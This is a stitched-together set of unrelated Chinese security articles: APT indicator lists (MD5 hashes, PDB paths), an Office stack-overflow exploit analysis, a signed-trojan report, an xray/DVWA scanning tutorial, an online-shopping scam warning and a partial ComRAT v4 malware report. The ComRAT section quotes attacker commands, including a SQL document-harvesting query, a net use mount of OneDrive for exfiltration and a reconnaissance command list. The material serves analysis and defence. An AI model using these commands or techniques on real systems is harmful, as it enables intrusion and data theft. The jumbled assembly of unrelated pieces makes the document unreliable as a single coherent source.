022f7646c6eb3f91baba88105a2b3eda
029f25e50d98f602e966ee8b7858fd88
03db95ef308d88ebb7f8b8c7cc157dff
04b3610c4857c0cbd2608885f46cd18c
066c1c5b0405bcf35cd583aed2f79235
0676f6c5414691310ed75ad0ffe41819
06e077a9d3777df42e97fafb01c8beae
08feae41e8622595c30c12aafcdc8594
09041eeb065709c0a6946a62dd350e13
0be3ccbbd88e72e90a78cdc314f200c2
0c669f4bf656eadadad76fae3cd3fd3a
0d16496069ee7c998f2975d8e8475781
0d195b660596810172bb3874bebcd470
0f90989277ece07337f4eb28f004e04b
11836203fc84f5581d249330c5099573
12770f49e6e4180263733515b1cfb1b5
154ee0c3bb8250cae00d5ed0e6f894b4
180431cf5adbd2a9f23e20950c4cb03f
1a392f6145755a6c94b475d06d68ed6a
1d90a398a721ea2a0dfcf99990a88b15
21d26dd1cfbd8105d732ea38dea8c7d0
22c577ce2426e6498c585a03055c62a6
232fba01682fda9c45c30bde970828a1
265f854bbdddf6622192bbe640391d2b
292a3d40f58b9798c1bb6d8a7d210585
2c2d04507e7c227f496ac569a149745b
2de11dfee67c690636f5e6f7225e813a
2fec52f10a4037d5c6749f9e3b27b23a
30d014883489bee0ad5919ac161c06ce
3520b051a02ec0c29891adf487d7817c
3712614ae6591086d78a2876fa0c84bb
39ecdafabd014884445e7161af76e5f7
3a204440803713c0181a831506fdbb36
3c02d149a36bbe214e8f78a0dab58fa5
3cb74f7b1e324dd93ac76d18e2f18644
41ccc717afca85216d5587d88f608332
4311d80e8f243b7f0cf8805457b76463
48077007f323510bacda73b03f95ecd1
4d6d4f2a288384c9493784272ea37ce7
4e1b2f4cf9ce675bb080095e971a6fcb
4e279fac2d347b23f02e4f8b48d11088
4e4eb3d6fdfbc7860546a2166ab886e5
4fb6b27375baa0d59fef03a34aea2b34
5473be0d12bc9a38c8edbf3090c9ea4d
559b920616cf2b05c593340584070458
572d7f2b1926a83b55bdc74d94746d8d
58ea5b92bc087d80e6290d822b78a4e3
5acad73439bcd4bbbb78af15117c7bfd
5d68af6734a0fb0433af27b77c112e47
5f3bdc311c0bd5702ff437c50b380c7e
62dc5cafa222f2a27478c03b69c02a2b
64e93902777723ea52ed9fa0afe338e9
662364f4f84e26e0e988e331416eb239
6889e5533f15713cf8068fc777cc8e77
6b33c6c8149a469d924d7f3466a9a2ef
6c867ecbfe5ad161bc00deba1414a304
6ca65e166dbc681f10a17f34a35a94e6
6d7ef5c67604d62e63aa06c4a7832dac
6e444898cc7cbfc6aad429ce37d2b263
702b7a97ddb0a51c1cc1673d14543ac5
710fa61c082a655e01136cc3631611ef
7142221ea2993c790bb310292115e5f9
762eb395a7933568ee035f16b9646e55
784063ef8e81352874292cf77b15c579
791c812a13b2cc7481b4d270d0dc9e68
79c74abdbad8f73008ca40e53c0c4089
7fe93da897a426e1aa6fe7cd58ced772
84ebd0e871b1f3a88865ba7f3fc25104
88139edf03327665ae8260641b273e7c
887f351e2026d5fe3e4c805182932e3c
8b7e9d7f51fca9c50fc83902a279d3e9
93222f8403909d118be09829bea3e313
979040f0051d8a2ce6aed44ec56368ca
9a9eb739a62630504b27372e883504b8
9afdf7da3c5c84b4995da79d410d22d9
9cddfd8fa9dc98149e63f08f02a179cf
9daf47741735df9d4e1764ba8dbeff14
9dc50377498fd0959686863fa46231d1
9e101d386f2ce003dd353b07d264f7fc
9f0bc83a6f8141b749695e46180a8def
a46ee9a1337cf102db2dcc005d60312a
a7c7ae8cd6a78e5d01edcf726f2b6d4a
a98a255e592c43200f6c10cf12e900a5
aad1a7163c3cbe2de17406f54dce14ff
aae979afa172627bc9a47365ca5b5f51
ac65fb0a1b23f20184ac612880d1f9c9
ae3fcf6b00cdcf0d5d095b3dd65245fa
ae6c7ffb09c72f32e47cca8436278f8b
aeb0c9cb9814b1ef1b08f18c0e34cf77
aee1b77f646c0befece129b4c477bbe4
af19938fd664df46c9f85efad6833ce1
b0c51170204204f33f956284f030aec5
ba7658e80591021a7881ac7573226dbc
bb37bc32d243a36ce9ae0d1045019de6
bd0bca06908fdb5db31cbc9f43e11597
c1c7bd5972d78c0d5f10059100659025
c2be017b2fb3ad6f0f1c05ef10573b90
c2e8c3dbee0fa8ce92865075074c80ca
c3b94d765a3d6e43735f7e1acf8cf187
c3c03fd55c0cd0c2247ca96376203c9a
c43bab60cbf7922a35979e4f41f9aa9e
c4912e801677d8aa489772490fe5388a
c5f76015b2cb15f59070d2e5cfdd8f6e
c64e0565fdd0ebb92fa41915b67ef8cc
c91abd2f3bc2a574022461c17276c227
c9449dbfd66fb6d75eab5012cfb66731
c94778c158863da20114f4e89d2d84ce
c957de76259c9a82c3c0a1768ccbd878
c9d0348dd015babe48f3b46a737b9025
ca50a3a1728e015228f6d97f5dc15999
cd449159beda255bb06be1d6c35bc1e9
d04f4c43bbc5b37d7b1a46ceadd3c674
d0caf019af2e5c4d62acec3402fbb583
d0dd1c70581606aa2a4926c5df4a32ee
d1486baee307fe9b8221a7dddc8ff21b
d384476cd94ec6c44522f1ea6529ef69
d523ba7bb4ec5488c6c46b800eeba176
d64f3242a89732d5ef69e35b25145412
d6a11b35ec7f08c8960db871b44fd9d0
d6bc758448dd510cd97f92f1dc99a2db
d7aa03f274d55b8d485221083957d504
d8b31e7523c1681d1838c50090468942
da71dfe35125d59c487d9d3d63e0cb18
dc9ea0a9eabc152104dadf984d14b03b
dea87bd6e6b6bf97a29f83224385dc18
dfddba46a62ad7972018c2f6b980b978
e02377364a3833bb4e89965b0c344a25
e16afc1f98446d224a2a96703da64b2d
e1a83a4c342f784ad83bcad061c5845a
e2088460b1a0401c40f944a1d0e4f7c0
e417457a04cf9da41fc0c8787985a790
e5f32003347c18109e3c39e2bf2f36de
e7073a90345b2ed4584c3c69f22298d9
e8cdaafd6deefcee21530070444de679
eaa9a54b67673f68066bc13f42e5ca2c
edc4346e5fb6f68868938767625a0b16
edc6bdd204dd2a849693e148b00c0ea9
ee5db4f50ab4cdfaf40f89de7a140309
ef1bf0fa405ba45046c19e3efdb17b23
f04e31ff256a6dc44af48dbf0b917e7d
f0ecd67f81d95cb79a1ae93859d6b480
f10d72646b1d9bc6643be80dee99ba85
f1166a382755674c5071436fa9d48f3e
f3e9d98948db0249d73df5304e20e6b3
f9ff89d9149cd0cb702b0a6578d33078
fd17c9eb665e665b9d9e3af8592271c1
fd7a602e34dae2dd608567232d5b9eff
feea1d90e77dff5ff9f896122cf768f6
ff5ffc315daab5abd4a2cdd6f6be5d86
**yty** **恶意代码框架的PDB** **路径**
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\Setup.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\abode.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\boothelp.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\diskvol.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\mdriver.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\vstservice.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\yty.pdb
C:\Users\803\Desktop\ytyboth\yty 4.0\Release\abode.pdb
C:\Users\803\Desktop\ytyboth\yty 4.0\Release\boothelp.pdb
C:\Users\803\Desktop\ytyboth\yty 4.0\Release\vstservice.pdb
D:\Soft\DevelopedCode\yty 2.0\Release\dspcheck.pdb
D:\Soft\DevelopedCode_Last\yty 2.0 – Copy\Release\\.Net\vstservice.pdb
D:\Soft\DevelopedCode_Last\yty 2.0\Release\\.Net\abode.pdb
D:\Soft\DevelopedCode_Last\yty 2.0\Release\\.Net\boothelp.pdb
D:\Soft\DevelopedCode_Last\yty 2.0\Release\\.Net\dspcheck.pdb
D:\Soft\DevelopedCode_Last\yty 2.0\Release\\.Net\vstservice.pdb
D:\Soft\DevelopedCode_Last\yty 2.0\Release\C++\Setup.pdb
C:\Users\803\Desktop\ytyboth\yty 2.0\Release\Setup.pdb
D:\Soft\DevelopedCode_Last\yty2.0\Release\C++\Setup.pdb
C:\users\803\documents\visualstudio2010\Projects\helpdll\Release\helpdll.pdb
**EHDevel** **恶意代码框架的PDB** **路径**
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\ActDon.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\AdminNewDll.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\AdminServerDll.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\ComDeck.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\DiplyFreq.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\DiskPlug.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\EsstnalUpdte.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\FlashCom.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\LangDock.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\LangDockUp.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\MetaDamDoc.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\PatchQueue.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\ProcNeo.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\TxtActDoc.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinAeroBat.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinAud.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinExe.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinIntDataAndCred.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinKey.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinLTUP_Doc.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinLTUP_NonDoc.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinOn.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinRMDrive.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinScrnGrabber.pdb
D:\EH_DEVELOPMENT_SVN\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WinTasks.pdb
E:\EHDevelopmentSolution3 IB2.1\EHDevelopmentSolution3\Release\Uninstall.pdb
E:\EHDevelopmentSolution3 PB2.1\EHDevelopmentSolution3\Release\AdminNewDll.pdb
E:\EHDevelopmentSolution3
PB2.1\EHDevelopmentSolution3\Release\AdminServerDll.pdb
E:\EHDevelopmentSolution3 PB2.1\EHDevelopmentSolution3\Release\Clock.pdb
E:\EHDevelopmentSolution3 PB2.1\EHDevelopmentSolution3\Release\PatchQueue.pdb
E:\EHDevelopmentSolution3 PB2.1\EHDevelopmentSolution3\Release\SystemBus.pdb
E:\EHDevelopmentSolution3 PB2.1\EHDevelopmentSolution3\Release\TimeClock.pdb
E:\EHDevelopmentSolution3 SI2.1\EHDevelopmentSolution3\Release\ InfoPath.pdb
E:\EHDevelopmentSolution3 SI2.1\EHDevelopmentSolution3\Release\AdminNewDll.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\AdminServerDll.pdb
E:\EHDevelopmentSolution3 SI2.1\EHDevelopmentSolution3\Release\Clock.pdb
E:\EHDevelopmentSolution3 SI2.1\EHDevelopmentSolution3\Release\DiskHealth.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\InstallingDevice.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\PlugnPlayMoniter.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\PrimaryVolume.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\RegionalLanguage.pdb
E:\EHDevelopmentSolution3 SI2.1\EHDevelopmentSolution3\Release\SystemBus.pdb
E:\EHDevelopmentSolution3
SI2.1\EHDevelopmentSolution3\Release\WorkspaceShare.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\AdminNewDll.pdb
E:\EHDevelopmentSolution3
SI2.2\EHDevelopmentSolution3\Release\AdminServerDll.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\Clock.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\DiskHealth.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\Documents.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\ENGUnicode.pdb
E:\EHDevelopmentSolution3
SI2.2\EHDevelopmentSolution3\Release\InstallingDevice.pdb
E:\EHDevelopmentSolution3
SI2.2\EHDevelopmentSolution3\Release\LicenseManager.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\NetLogOn.pdb
E:\EHDevelopmentSolution3
SI2.2\EHDevelopmentSolution3\Release\RegionalLanguage.pdb
E:\EHDevelopmentSolution3 SI2.2\EHDevelopmentSolution3\Release\WMPlayer.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\AdminNewDll.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\AdminServerDll.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\CustomUI.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\DalyMotion.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\DefenderReference.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\EsstnalUpdte.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\FoldrOpt.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\InstntAccel.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\InstntAccelx.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\LangEngUTF16.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\LangEngUTF8.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\MSOBuild.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\OpenOffce.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\OptimisedDisply.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\PackageMSOffce.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\PlayMedia.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\ProcNeo.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\RuntimeLibsUpdte.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\TimeSyncApp.pdb
E:\EHDevelopmentSolution3\EHDevelopmentSolution3\Release\WelcomeScrn.pdb
## 参考
[1].<https://ti.360.net/blog/articles/pakistan-targeted-apt-campaign/>
[2].<https://labs.bitdefender.com/wp-content/uploads/downloads/ehdevel-the-story-of-a-continuously-improving-advanced-threat-creation-toolkit/>
[3].<https://asert.arbornetworks.com/donot-team-leverages-new-modular-malware-framework-south-asia/>
[4].<https://ti.360.net> | 社区文章 |
## **1** 分析环境
操作系统：window xp sp3
软件 ：office 2003
## **2 基本信息**
漏洞类型：栈溢出
影响范围：Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010,
Office 2004 and 2008 for Mac, Office for Mac 2011
## **3 样本分析**
样本MD5：f5da6e333729a9809e3c0abaff619665
样本名称：過程論的觀點分析六方會談 審查意見.doc
首先在我们拿到样本在不知道CVE编号的情况下，还是先通过行为来查看一下，好进行下断点，我们可以看到这个样本在临时文件夹释放了一个PE文件，并将这个PE文件执行起来。
我们先下一个执行程序的断点
我们可以看到第一个参数为执行的文件路径，而返回地址确实栈地址，我们返回到这个返回地址
我们在返回地址清楚的看到了执行的shellcode,这也表明这是个栈溢出
我们顺着shellcode往上看，看到了三个909090，比较明显的nop指令,我们接着反编译一下这个地址，发现这个是shellcode的开头，下面是比较明显的获取PEB的地址的代码，我们知道这个地址以下的都被栈溢出覆盖了，我们可以在这个地址附近找找有没有什么返回地址
我们开始向上看，可以找到几个返回地址，我们在这个返回地址下断点
我们成功断刀 mso 模块的 3107f609，这个时候我们开始定位栈溢出地址
发现是mso这个模块中的某个函数返回后执行了经典的jmp esp 来执行shellcode
这个时候我们将mso这个模块放到IDA中，来仔细的查看是什么地方出现了问题，动态调试发现是执行了这个函数返回的时候跳转到jmp esp
的，我们重点关注下这个函数
30F4cc5d
这个时候我们在返回地址下个内存写断点，同时关注下返回地址,可以定位到时那句代码导致的返回地址被覆盖
最终我们定位到了是下面的拷贝导致的返回地址被覆盖
而控制复制长度主要是ecx,我们看到ecx在文档的什么位置
通过分析发现，这个ecx正式样本下面框的位置，而样本的后面就是经典的跳转地址，和shellcode。
而我们看到栈地址开辟的地址只有14h个字节
这个时候再能控制复制大小的情况下和能控制shellcode的情况下，就能从容的写出利用。
我们这个时候看下利用，这个攻击样本并没有考虑到如ALSR和DEP的保护机制，而是直接通过一个XP下的经典跳转地址7ffa4512将EIP控制成为esp,来执行shellcode。Shellcode这个我们在这里就不进行分析了，感兴趣的可以进行分析。
# **总结**
这个漏洞还是比较简单的栈溢出，利用也比较简单，正是因为这个比较好控制，所以也成为各个APT组织的重点使用对象，经常出现在各个攻击中。 | 社区文章 |
# 被攻陷的数字签名：木马作者冒用知名网络公司签名
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
近期360白名单分析组捕获到一批具有知名网络公司数字签名的木马，为了阻止木马的进一步危害，同时也为了提醒其他安全厂商，白名单组对本次事件进行了回顾。
一、 带知名公司签名的木马
以下是最新捕获的某知名网络公司数字签名的木马：
我们对木马相关作者进行了持续的关注与追踪，其大概的更新时间线如下：
二、 伪造签名木马主要证书
以下是目前为止捕获到的伪造知名公司签发木马的证书：
三、 带签名的木马基本行为
带有知名公司签名的木马，不但利用了正规的数字签名，还进行了白文件利用，手段极其老练和成熟，对此白名单组进行了深入的分析：
安装包在d:windows目录下释放两个文件
Auncher.exe是TX白签名文件
OutSupport.dll是暴风黑签名文件
通过TX文件的白利用,Auncher.exe调用OutSupport.dll中的导出函数G_SAEF
创建傀儡进程
注入代码到notepad.exe中
设置傀儡进程EIP
最后在内存中执行木马程序。
以下就是整个流程：
四、 杀毒的查杀
对于此类冒用正规公司合法签名的木马，360杀毒进行了第一时间的查杀。 | 社区文章 |
请阅读[xray官网](https://xray.cool/xray)
请下载的时候选择最新的版本下载。
## 一、下载
直接打开[github下载](https://github.com/chaitin/xray/releases)需要平台的xray,这里我选择windows64位的，如下：
下载来先验证一下hash256,
powershell运行查看版本`./xray_windows_amd64.exe version`
## 二、普通版与高级版
普通版与高级版区别，如下:
普通版运行
高级版（在exe目录添加xray-license.lic文件而已）
## 三、简易使用方法
1、webscan --basic-crawler
这是对网站进行爬虫，并以抓取内容进行漏洞扫描 `.\xray_windows_amd64.exe webscan --basic-crawler
http://testphp.vulnweb.com/ --html-output xray-crawler-testphp.html`
扫描过程
效果如下:
2、webscan --plugins xss
这是使用某个插件进行扫描
## 四、xray与Burp联动
在实际测试过程中，除了被动扫描，也时常需要手工测试。这里使用 Burp 的原生功能与 xray 建立起一个多层代理，让流量从 Burp 转发到 xray 中
1、首先 xray 建立起 webscan 的监听`.\xray_windows_amd64.exe webscan --listen
127.0.0.1:7777 --html-output proxy.html`
2、进入 Burp 后，打开 **User options——Connections——Upstream Proxy Servers——** 设置。点击
Add 添加上游代理以及作用域，Destination host处可以使用*匹配多个任意字符串，?匹配单一任意字符串，而上游代理的地址则填写 xray
的监听地址
3、在浏览器端使用 Burp 的代理地址
4、监听效果，如下:
效果一
效果二
5、问题，监听burp后，发现利用正确账号密码登录不上(?)，
6、尝试登录以后再进行监听，
关闭cmd下的--listen监听，进行登录
先关闭代理设置（也就是上面2）
尝试进行登录，成功进行登录，登录成功后，开启xray监听，测试各个功能。
## 五、xray抓取https证书安装
1、生成xray证书`.\xray_windows_amd64.exe genca`
2、浏览器(Chrome)中安装生成的ca证书：
导入证书
3、xray监听https 流量 （注意浏览器中也要安装burp的证书）
成功抓取https数据包。
## 六、dvwa各个功能测试
### Brute Force(爆破漏洞）
1、操作应用，进行漏洞扫描，如下:
效果如下:
2、验证SQL漏洞
抓取数据包
返回数据包，
存在SQL注入漏洞。
### Command Injection(命令注入漏洞）
1、操作应用，进行漏洞扫描，如下:
扫描结果如下:
2、验证扫描漏洞
抓取数据包
重放数据包
存在命令注入漏洞。
### CSRF(CSRF漏洞）
1、操作应用，进行漏洞扫描，如下:
扫描结果未发现CSRF漏洞。
### File Inclusion(文件包含漏洞）
1、操作应用，进行漏洞扫描，如下:
扫描结果未发现文件包含漏洞。
### File Upload(文件上传漏洞）
1、漏洞扫描，操作应用，上传一张图片
发现文件上传漏洞
2、验证码漏洞
准备恶意代码文件，如下:
上传文件
访问上传文件
访问成功，存在文件上传漏洞。
### Insecure CAPTCHA(不安全验证机制漏洞）
1、操作应用，进行漏洞扫描，如下:
扫描结果未发现不安全验证机制漏洞。
### SQL Injection(SQL注入漏洞）
1、操作应用，进行漏洞扫描，如下:
发现有SQL注入漏洞，如下：
2、验证码漏洞
结果如下:
抓取数据包，重放数据包，如下:
存在SQL注入漏洞。
### SQL Injection (Blind)(SQL盲注漏洞）
1、操作应用，进行漏洞扫描，如下:
扫描结果未发现SQL盲注漏洞。
### 反射型XSS漏洞
1、操作应用，进行漏洞扫描，如下:
发现xss漏洞
2、验证漏洞，如下:
效果如下:
存在反射型xss漏洞。
### 存储型XSS
1、操作应用，进行漏洞扫描，如下:
发现xss漏洞
2、验证码漏洞
每次刷新此页面，都可以弹出xss，效果如下:
存在存储型xss漏洞。
## xray扫描结果与总结
总结，xray扫描工具还是很方便实用，准确率高，可以有助于渗透更好完成；不过还是不能完全扫描出所有漏洞，需要渗透人员更加需细心的寻找漏洞。
扩展: 同样可以将xray用于手机移动端APP渗透测试。 | 社区文章 |
# 安全专家解读：电商节大促催生的网购“代下单”产业
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一年一度的618年中大促已打响，各大电商平台又将开展大规模的打折促销活动，网上购物血拼的疯狂即将来临。而骗子们也摩拳擦掌地等待借机大捞一笔！如何能尽情的买买买又能保护自己的财产安全呢？
## 诈骗陷阱1：“88VIP代下单”
**被骗经过**
618年中大促催生出“88VIP代下单”业务，在不少二手交易平台和论坛里均发现类似的代拍服务帖，从卖家发帖可以看出，目前主要有两种“代下单”方式：
**360安全专家风险解读**
陌生人之间的“代下单”服务风险很高,付款需警惕。尤其是发生在正规平台外的交易,失去了平台监管，用户很容易失去安全保障而被骗。
## 诈骗陷阱2：“客服”主动来退赔
**被骗过程**
骗子通过非法途径获得用户信息，当用户听到对方准确的说出自己的网购信息时，很容易信以为真，失去警惕。对方以用户信用不足无法到账等借口，一步步诱使受害人转账或者从互联网借贷产品中贷款给对方。
**360安全专家风险解读**
凡是客服来电声称产品残次、丢失给予退款赔偿，要求绑定银行卡、扫码退款、转到借贷平台操作、索要验证码等都是诈骗。同时，凡是发布低价商品广告，要求私下交易，或先交订金押金再发货的需要谨慎支付。
## 诈骗陷阱3：“低价商品”限时促销
**被骗过程**
诈骗分子以“低价购买高价商品”等名义发送促销短信，内附钓鱼链接引诱用户点击购买。当用户贪图便宜轻信短信内容，输入账户信息付款后被骗。也有可能一步步诱导你下载不明来源的应用，进而引诱你贷款或者在博彩下注。
**360安全专家风险解读**
明显低于市价的促销商品信息要警惕，诈骗手法的不断变化，身处诈骗场景中的用户很难察觉，往往是被骗后才发觉端。最简单的，不要脱离正规平台进行交易，以保证自己的权益不被损害。
## 诈骗陷阱4：囊中羞涩？“赚快钱”的机会来了
**被骗过程**
兼职网赚项目与短视频相结合，产生了众多的短视频悬赏/任务平台。用户下载安装指定兼职赚APP，领取兼职任务并获得佣金。然而，用户看重了任务平台的高额佣金，平台却盯上了用户手里的会员费。提现时需要充值会员解锁更多权益，而最终用户往往无法提现。
**360安全专家风险解读**
骗子通过短视频悬赏/任务平台，利用资金盘的套路，本质就是”空手套白狼”，利用新投资者的钱向老投资者支付利息和短期回报，短期看起来有盈利的假象，但结局都是步入死循环继而崩盘跑路。 | 社区文章 |
**原文链接：[From Agent.BTZ to ComRAT v4: A ten‑year
journey](https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/ "From Agent.BTZ to ComRAT v4: A ten‑year journey")**
**翻译：知道创宇404实验室翻译组**
ESET研究人员近期发现了由Turla组织ComRAT经营的恶意软件的新版本。Turla，也被称为Snake，是一个臭名昭著的间谍组织，已经活跃了十多年，之前也介绍过许多该组织的[活动](https://www.welivesecurity.com/?s=turla)。
ComRAT，也称为[Agent.BTZ](https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified)，是一种用于远程访问特洛伊木马（RAT），该木马在2008年因违反[美国军方使用](https://www.nytimes.com/2010/08/26/technology/26cyber.html)规则声名狼藉。该恶意软件的第一版（约在2007年发布）通过传播可移动驱动器来展现蠕虫功能。从2007年到2012年，已经发布了RAT的两个主要版本。有趣的是，它们都使用了著名的Turla
XOR密钥：
`1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s`
2017年，Turla开发人员对ComRAT进行了一些更改，但这些变体仍然是从相同的代码库中派生出来的，相关研究报告请见<https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf>。此外还发布了不同的ComRAT版本。这个新版本使用了全新的代码库，相比之前的版本会复杂很多。以下是该恶意软件的几个特征：
* ComRAT v4于2017年首次亮相，直到2020年1月仍在使用。
* 其至少确定了三个攻击目标：两个外交部和一个国民议会。
* ComRAT用于窃取敏感文档，运营商使用OneDrive和4shared等云服务来窃取数据。
* ComRAT是用C ++开发的复杂后门程序。
* ComRAT使用FAT16格式化的虚拟FAT16文件系统。
* 其使用现有的访问方法（例如PowerStalli on PowerShell后门）部署ComRAT。
* ComRAT具有两个命令和控制通道：
1.HTTP：它使用与ComRAT v3完全相同的协议；
2.电子邮件：它使用Gmail网络界面接收命令并窃取数据。
* ComRAT可以在受到感染的计算机上执行如泄露其他程序或文件的操作。
## 关于Turla
根据相关的受害者和TTPs，我们相信Turla仅使用ComRAT，以下是相关的几大表现：
* 它使用与先前版本相同的内部名称Chinch
* 它通过HTTP使用与ComRAT v3相同的自定义C＆C协议
* 网络基础结构的一部分与另一个Turla恶意软件[Mosquito](https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf)共享
* 以下部分已被Turla 恶意软件删除
1.定制的PowerShell加载器
2.PowerStallion后门
3.RPC后门
## 攻击者的相关活动
在我们的调查过程中，可以了解Turla操作员在受感染机器上所执行的命令，ComRAT主要用于窃取机密文件。在某种情况下，其运营商部署了.NET可执行文件来与受害人所包含组织文档的中央MS
SQL Server数据库进行交互。下面是已编辑的SQL命令：
sqlCommand.CommandText = "select top " + num2.ToString() + " filename, img, datalength(img), id from <Redacted> with(nolock) where not img is null and id>" + num4.ToString();sqlCommand.CommandText += " and datalength(img)<1500000 and (filename like '%.doc' or filename like '%.docx' or filename like '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]%.pdf' or (filename like '3%.pdf' and len(filename)>9))";sqlCommand.CommandText += " order by id"; |
然后将这些文档压缩并传输到云存储提供商（如：OneDrive或4shared）。使用net use命令安装云存储，如下所示：
tracert -h 10 yahoo.comnet use https://docs.live.net/E65<redacted> <redacted password> /u:<redacted>@aol.co.uktracert -h 10 yahoo.com |
除了窃取文档外，操作员还运行许多命令来收集有关Active Directory组或用户对网络的信息进行配置。以下是由Turla操作员执行的命令列表。
gpresult /z
gpresult /v
gpresult
net view
net view /domain
netstat
netstat -nab
netstat -nao
nslookup 127.0.0.1
ipconfig /all
arp -a
net share
net use
systeminfo
net user
net user administrator
net user /domain
net group
net group /domain
net localgroup
net localgroup
net localgroup Administrators
net group "Domain Computers" /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
dir "%programfiles%"
net group "Exchange Servers" /domain
net accounts
net accounts /domain
net view 127.0.0.1 /all
net session
route print
ipconfig /displaydns
最后，我们还注意到Turla运营商进行了逃避安全软件检测的相关操作。如：定期抽取与安全性相关的日志文件，来了解是否已检测到其恶意软件样本。这表明相关人员的复杂及其潜在的意图。
## 技术分析
根据其编译时间戳可以看到ComRAT v4的第一个示例已于2017年4月进行了编译，与之相关的后门在2019年11月进行了编译。
